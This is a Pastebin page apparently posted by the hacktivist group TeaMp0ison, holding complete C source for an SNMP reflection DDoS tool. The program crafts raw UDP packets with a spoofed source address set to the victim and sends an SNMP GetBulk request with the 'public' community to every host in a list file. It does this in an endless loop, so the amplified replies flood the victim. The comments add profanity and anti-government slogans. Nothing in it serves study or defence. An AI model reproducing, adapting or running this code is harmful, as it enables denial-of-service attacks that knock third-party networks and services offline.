Guest User

Untitled

a guest
Jul 6th, 2012
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.16 KB | None | 0 0
  1. /*
  2. Exploit Title: SNMP Refelector DDOS
  3. Date: 9:2:11
  4. Author: Hex00010
  5. Tested on: Windows - *needs updating for Linux*
  6. */
  7.  
  8.  
  9.  
  10. #include <stdio.h>
  11. #include <netinet/ip.h>
  12. #include <sys/socket.h>
  13. #include <arpa/inet.h>
  14. #include <netinet/udp.h>
  15. #include <string.h>
  16. #include <stdlib.h>
  17. #include <errno.h>
  18. #include <sys/types.h>
  19. #include <asm/types.h>
  20.  
  21. /*
  22. The Government is a Corrupted Organization
  23. We are here to show the world the truth about them
  24. You dont like it - go **** your self
  25. Anarchy For Life Bitch
  26. ===========================================================================​​====
  27. THIS CODE IS MEANT TO STAY PRIVATE - DO NOT SHARE WITH ANYONE - It Is Now Public you Can repost this BUT give Credits
  28. ===========================================================================​​====
  29. by Hex00010 - TeaMp0ison - 2011
  30.  
  31.  
  32. */
  33.  
  34. char payload[] = \"\\x30\\x23\\x02\\x01\\x01\\x04\\x06\\x70\\x75\\x62\\x6c\\x69\\x63\\xa5\\x16\\x02\\x02\\x4e\\x47\"
  35. \"\\x02\\x01\\x00\\x02\\x02\\x08\\xca\\x30\\x09\\x30\\x07\\x06\\x03\\x2b\\x06\\x01\\x05\\x00\";
  36.  
  37. struct iphdr ip_head;
  38. struct udphdr udp_head;
  39. struct sockaddr_in target;
  40.  
  41. struct udp_pseudo /*the udp pseudo header*/
  42. {
  43. unsigned int src_addr;
  44. unsigned int dst_addr;
  45. unsigned char dummy;
  46. unsigned char proto;
  47. unsigned short length;
  48. } pseudohead;
  49.  
  50. struct help_checksum /*struct for checksum calculation*/
  51. {
  52. struct udp_pseudo pshd;
  53. struct udphdr udphd;
  54. } udp_chk_construct;
  55.  
  56. unsigned short in_cksum(unsigned short *addr,int len)
  57. {
  58. register int nleft=len;
  59. register unsigned short *w=addr;
  60. register int sum=0;
  61. unsigned short answer=0;
  62.  
  63. while(nleft>1)
  64. {
  65. sum+=*w++;
  66. nleft-=2;
  67. }
  68. if(nleft==1)
  69. {
  70. *(u_char *)(&answer)=*(u_char *)w;
  71. sum+=answer;
  72. }
  73. sum=(sum >> 16)+(sum & 0xffff);
  74. sum+=(sum >> 16);
  75. answer=~sum;
  76. return(answer);
  77. }
  78.  
  79. void send_udp(int sfd,unsigned int src,unsigned short src_p,
  80. unsigned int dst,unsigned short dst_p,char *buffer,int len)
  81. {
  82. char *packet;
  83. int i;
  84.  
  85. /*Prepare IP header*/
  86. ip_head.ihl = 5; /*headerlength with no options*/
  87. ip_head.version = 4;
  88. ip_head.tos = 22;
  89. ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
  90. ip_head.id = htons(30000 + (rand()%100));
  91. ip_head.frag_off = 0;
  92. ip_head.ttl = 64;
  93. ip_head.protocol = IPPROTO_UDP;
  94. ip_head.check = 0; /*Must be zero for checksum calculation*/
  95. ip_head.saddr = src;
  96. ip_head.daddr = dst;
  97.  
  98. ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
  99.  
  100. /*Prepare UDP header*/
  101. udp_head.source = htons(src_p);
  102. udp_head.dest = htons(dst_p);
  103. udp_head.len = htons(sizeof(struct udphdr)+sizeof(payload)-1);
  104. udp_head.check = 0;
  105.  
  106. /*Assemble structure for checksum calculation and calculate checksum*/
  107. pseudohead.src_addr=ip_head.saddr;
  108. pseudohead.dst_addr=ip_head.daddr;
  109. pseudohead.dummy=0;
  110. pseudohead.proto=ip_head.protocol;
  111. pseudohead.length=htons(sizeof(struct udphdr)+sizeof(payload)-1);
  112. udp_chk_construct.pshd=pseudohead;
  113. udp_chk_construct.udphd=udp_head;
  114. packet=malloc(sizeof(struct help_checksum)+sizeof(payload)-1);
  115. memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
  116. memcpy(packet+sizeof(struct help_checksum),buffer,sizeof(payload)-1); /*checksum calculation*/
  117. udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+sizeof(payload)-1);
  118. free(packet);
  119.  
  120. /*Assemble packet*/
  121. packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
  122. memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
  123. memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
  124. memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,sizeof(payload)-1);
  125.  
  126. /*Send packet*/
  127. target.sin_family = AF_INET;
  128. target.sin_addr.s_addr= ip_head.daddr;
  129. target.sin_port = udp_head.source;
  130. sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1,0,
  131. (struct sockaddr *)&target,sizeof(struct sockaddr_in));
  132. free(packet);
  133. }
  134.  
  135. int main(int argc, char *argv[]) {
  136. int i=0;
  137. unsigned int srcip, dstip;
  138. char *data;
  139. data=malloc(sizeof(payload)+sizeof(payload)-1);
  140. memcpy(data, payload, sizeof(payload)-1);
  141. char* aline = calloc(16, sizeof(char) );
  142.  
  143. if(argc < 3) {
  144. printf(\"By Hex00010 - TeaMp0ison - 2011\\n\", argv[0]);
  145. exit(1);
  146. }
  147.  
  148. if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
  149. {
  150. perror(\"socket\");
  151. exit(1);
  152. }
  153.  
  154. for(;;) {
  155. FILE* fp = fopen( argv[2], \"r\" );
  156. /* skip fopen checking because its not really necessary for what we\'re doing*/
  157.  
  158. while ( !feof(fp) )
  159. {
  160. fscanf( fp, \"%s\\n\", aline );
  161. srcip = inet_addr(argv[1]);
  162. dstip = inet_addr(aline);
  163. send_udp(i,srcip,161,dstip,161,payload,sizeof(payload)-1);
  164. memset( aline, 0, 16 );
  165. }
  166. fclose(fp);
  167. }
  168. return 0;
  169. }
  170.  
  171. /*
  172. Greetz: Trick aka SayWhat? , Luit , Ins^ane, joepie91, Sabu , Anonymous,darkgt4
  173. */
Advertisement
Add Comment
Please, Sign In to add comment